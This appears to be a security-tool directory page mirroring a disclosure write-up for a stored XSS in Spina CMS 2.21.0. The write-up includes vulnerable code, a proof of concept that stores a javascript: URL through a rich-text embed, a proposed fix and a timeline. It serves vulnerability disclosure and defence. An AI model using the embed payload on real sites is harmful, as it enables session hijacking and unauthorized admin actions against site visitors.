Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-117182 — Proof-of-concept and technical write-up for CVE-2026-117182, an authenticated stored XSS in Spina CMS 2.21.0 via SafeUrlValidator bypass on the rich-text render path. | Kitploit
工具/GitHubGitHub/primandito/cve-2026-117182
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPapers & ResearchLearning & Education
GitHubprimandito/cve-2026-117182

CVE-2026-117182

Proof-of-concept and technical write-up for CVE-2026-117182, an authenticated stored XSS in Spina CMS 2.21.0 via SafeUrlValidator bypass on the rich-text render path.

查看仓库
18天前尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2026-117182 — Authenticated Stored XSS via SafeUrlValidator Bypass in Spina CMS 2.21.0

CVE Version Status CVE State

Summary

Spina CMS v2.21.0 allows an authenticated staff user to perform Stored Cross-Site Scripting (XSS) on the public site. Spina::SafeUrlValidator (introduced in PR #1448) only runs when an embed is saved through the admin embed form. However, rich text content is saved via the page edit form (Spina::Parts::Text), which does not trigger this validation.

When a page renders, the embed is rebuilt from stored HTML/JSON by Spina::Embeddable.from_json, which performs no validation, and is then output via link_to button.url. Because the entire document is wrapped in a SafeBuffer by RichTextPresenter#to_s, a javascript: URL stored in the rich text bypasses validation and becomes a live href, leading to script execution in the origin of the public site.

Impact: An attacker with an authenticated CMS account can inject a payload that executes when an unauthenticated visitor or a logged-in administrator views the public page. This can lead to session hijacking, CSRF token extraction, and unauthorized authenticated actions on behalf of an admin.

FieldValue
CVE IDCVE-2026-117182
Official Recordcve.org/CVERecord?id=CVE-2026-117182
Affected VersionSpina CMS (Ruby gem) <= 2.21.0
Vulnerability TypeCWE-79: Cross-Site Scripting (Stored XSS)
Attack VectorNetwork
Privileges RequiredLow (Requires an authenticated CMS account)
Affected ComponentSpina::RichTextPresenter, Spina::Embeddable.from_json, Spina::Admin::PagesController#page_params, app/views/spina/embeds/buttons/_button.html.erb
Original ReportSpinaCMS/Spina#1452

Affected Files

File PathDescription
app/presenters/spina/rich_text_presenter.rbWraps the entire document in a SafeBuffer without sanitization.
lib/spina/embeddable.rbRebuilds embed from JSON without validating the URL scheme.
app/controllers/spina/admin/pages_controller.rbPermits all params (permit!), bypassing model-level validation on the rich text path.
app/views/spina/embeds/buttons/_button.html.erbOutputs link_to button.url directly to the public site.

Vulnerable Code

The Two Paths

Path 1: Embed Form (Validated) The embed form builds the object through the model, triggering the validator.

# app/controllers/spina/admin/embeds_controller.rb:9
@embeddable = Spina::Embeds.constantize(embed_type).new(embed_params)

# app/models/spina/embeds/button.rb:7-8
validates :url, :label, presence: true

Path 2: Rich Text (Unvalidated) Rich text content is saved directly through the page params and rendered later without validation.

# app/controllers/spina/admin/pages_controller.rb
def page_params
  params.require(:page).permit!
end

# lib/spina/embeddable.rb:11-18, reached from rich_text_presenter.rb:37
def from_json(json)
  attributes = JSON.parse(json)
  attributes.transform_keys!(&:to_sym)
  new(attributes)
rescue
  Rails.logger.error "[#{self.class.name}] Couldn't parse JSON"
  nil
end

The sink where the unsanitized URL is rendered:

<%# app/views/spina/embeds/buttons/_button.html.erb %>
<%= link_to button.url do %>
  <%= button.label %>
<% end %>

Contributing factor: RichTextPresenter#to_s wraps the entire document in an ActiveSupport::SafeBuffer, meaning anything that isn't an embed <figure> is passed through untouched.


Proof of Concept

Prerequisites

  • Spina CMS v2.21.0 running locally (tested on Rails 8.1.3).
  • An authenticated CMS account with permission to edit page content.
  • Firefox 153.4.0esr (64-bit) for testing user activation.

Step 1 — Control Case (Validator Works on Form)

Spina::Embeds::Button.new(
  url: "javascript:void(document.title=String.fromCharCode(88))",
  label: "Click me"
).valid?
# => false, "Url must be a relative path or start with http://, https://, mailto: or tel:"

Step 2 — Storing the Payload via Rich Text

Send a PATCH /admin/pages/1 request with a normal CSRF token, storing the following HTML as the content of any Spina::Parts::Text part on a published page:

<figure data-trix-content-type="application/vnd+spina.embed+html">
  <spina-embed data-embed-type="Spina::Embeds::Button"
    data-embed-attributes='{"url":"javascript:void(document.title=String.fromCharCode(88))","label":"Click me"}'>
  </spina-embed>
</figure>

Step 3 — Execution

Navigate to GET / (logged out). The page returns:

<a href="javascript:void(document.title=String.fromCharCode(88))">Click me</a>

A real user click (using a trusted input event, not element.click()) executes the payload. Because it runs on the site's own origin, a fetch() request from the public page will carry the visitor's session cookie, enabling the attacker to read /admin/users and perform authenticated writes.


Scope and Limitations

  • Authentication Required: Requires an authenticated CMS account (not pre-auth).
  • No RCE: Everything stays in the browser (client-side).
  • Admin Panel Immune: Trix re-parses stored content and drops the payload in the admin panel. This is Stored XSS on the public site only.
  • Distinct from CVE-2023-3445: CVE-2023-3445 was an XSS in the admin pages dropdown (fixed by a sanitize() call in actions_component.html.erb). The rich text render path has never been sanitized.

Recommended Fix

1. Re-apply URL Policy in Embeddable.from_json

The smallest change is to re-apply the URL policy right where attributes are read from the stored JSON.

def from_json(json)
  attributes = JSON.parse(json)
  attributes.transform_keys!(&:to_sym)
  
  # Validate URL if present
  if attributes[:url] && !SafeUrlValidator.new.safe?(attributes[:url])
    return nil 
  end

  new(attributes)
rescue
  # ...
end

2. Sanitize in RichTextPresenter

Sanitizing on the way out in RichTextPresenter would deal with the SafeBuffer problem, but requires extending the allowlist with figure, spina-embed, and their data-embed-* attributes so existing embeds continue to render.


Timeline

DateEvent
2026-10-18Issue #1452 reported to SpinaCMS repository
2026-10-30Official CVE record published on cve.org
—Awaiting maintainer response on fix

References

  • Official CVE Record — CVE-2026-117182
  • Original report — SpinaCMS/Spina#1452
  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
  • OWASP: Cross Site Scripting (XSS)

Disclaimer

This write-up is provided for educational and defensive purposes only. All testing was performed on a locally hosted instance owned by the author. Do not use these techniques against systems without explicit written authorization.


Credits

Primandito Adi Setiya

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    590
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    383
  • 4

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    322
  • 5

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI原生网络安全的行动系统——在这里,意图转化为受治理的执行,证据沉淀为运营记忆,每一次操作都让下一次更出色。

    309
  • 6

    redforge

    cybersecurity91/redforge

    浏览器端红队工具包,包含 102 个离线工具,用于侦察、载荷生成、凭据攻击、加密、编码和交战报告。

    283

探索所有工具

浏览我们的工具集合

查看所有工具 →